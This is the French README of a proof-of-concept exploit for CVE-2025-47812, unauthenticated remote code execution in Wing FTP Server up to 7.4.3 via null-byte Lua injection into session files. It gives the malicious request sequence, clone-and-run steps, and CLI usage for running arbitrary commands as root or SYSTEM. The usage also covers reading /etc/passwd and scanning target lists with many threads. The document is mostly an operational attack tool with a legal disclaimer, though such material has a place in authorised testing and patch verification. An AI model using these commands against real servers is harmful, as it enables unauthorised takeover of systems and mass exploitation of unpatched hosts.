
PoC Python pour CVE-2025-47812, RCE non authentifié dans Wing FTP Server <= 7.4.3 via injection Lua par octet NULL dans les fichiers de session
____ _______ ___ __ ____ __ ___ ____
/ __ \|__ / | / / | / / __ \/ |/ // _/
/ / / / /_ <| | / /| |/ / / / / /|_/ / / /
/ / /_/___/ /| |/ / | / /_/ / / / /_/ /
/_____/____/ |___/ |_/ \____/_/ /_/____/
Preuve de concept pour CVE-2025-47812, une vulnérabilité d'exécution de code à distance non authentifiée dans les versions de Wing FTP Server antérieures à 7.4.4.
| Champ | Détail |
|---|---|
| CVE | CVE-2025-47812 |
| Affecté | Wing FTP Server <= 7.4.3 |
| Type | Exécution de code à distance non authentifié |
| Privilèges | root (Linux) / SYSTEM (Windows) |
| Éditeur | wftpserver.com |
| Auteur original | Sheikh Mohammad Hasan alias 4m3rr0r |
| Modifié par | d3vn0mi |
La fonction c_CheckUser() de Wing FTP Server tronque le nom d'utilisateur à un octet nul (%00) pour l'authentification, mais le nom d'utilisateur complet non nettoyé — incluant tout ce qui suit l'octet nul — est écrit dans un fichier de session Lua. Lorsqu'un point de terminaison authentifié, comme /dir.html, est accédé, le serveur exécute ce fichier de session, déclenchant le code Lua injecté avec des privilèges élevés.
1. POST /loginok.html
username=anonymous%00]]<LUA_PAYLOAD>&password=
2. Server authenticates "anonymous" (truncated at NULL)
but writes full payload into session file → returns UID cookie
3. GET /dir.html (Cookie: UID=<extracted_uid>)
Server loads session file → executes injected Lua → RCE
git clone https://github.com/d3vn0mi/cve_2025_471812_poc.git
cd cve_2025_471812_poc
pip install requests
python3 exploit.py -u http://CIBLE
python3 exploit.py -u http://CIBLE -c 'id'
python3 exploit.py -f cibles.txt -o vulnerables.txt -t 8
usage: exploit.py [-h] [-u URL] [-f FILE] [-c COMMAND] [-U USERNAME]
[-P PASSWORD] [-v] [-o OUTPUT] [-l LOG_FILE]
[-t THREADS] [--timeout TIMEOUT] [--retries RETRIES]
[--no-verify]
target:
-u, --url URL Single target URL (e.g. http://192.168.134.130)
-f, --file FILE File containing target URLs (one per line, # comments allowed)
exploit options:
-c, --command COMMAND Command to execute on the remote server (enables verbose output)
-U, --username USERNAME Username for the exploit payload (default: anonymous)
-P, --password PASSWORD Password for the exploit payload (default: empty)
output:
-v, --verbose Enable verbose / debug logging
-o, --output OUTPUT Save vulnerable URLs to this file
-l, --log-file LOG_FILE Write detailed log to this file
network:
-t, --threads THREADS Concurrent threads for multi-target scans (default: 1)
--timeout TIMEOUT HTTP request timeout in seconds (default: 15)
--retries RETRIES Number of retries on connection failure (default: 2)
--no-verify Disable SSL certificate verification
# Vérifier une cible unique
python3 exploit.py -u http://192.168.1.10
# Exécuter 'whoami' et voir la sortie complète
python3 exploit.py -u http://192.168.1.10 -c 'whoami'
# Scanner une liste avec 8 threads, tout journaliser dans un fichier
python3 exploit.py -f cibles.txt -t 8 -l scan.log -o vuln.txt
# Utiliser des identifiants personnalisés avec vérification SSL désactivée
python3 exploit.py -u https://10.0.0.5 -U admin -P secret -c 'cat /etc/passwd' --no-verify
# Mode verbeux pour le débogage
python3 exploit.py -u http://192.168.1.10 -v
--log-file-t pour les listes de cibles volumineuses--retries)--no-verify pour les certificats auto-signés# et la déduplication automatique-c affiche la sortie complète de la commandeCet outil est fourni uniquement à des fins de test de sécurité autorisé et d'éducation. Utilisez-le uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite de tester. L'accès non autorisé aux systèmes informatiques est illégal. Les auteurs ne sont pas responsables de toute utilisation abusive ou des dommages causés par cet outil.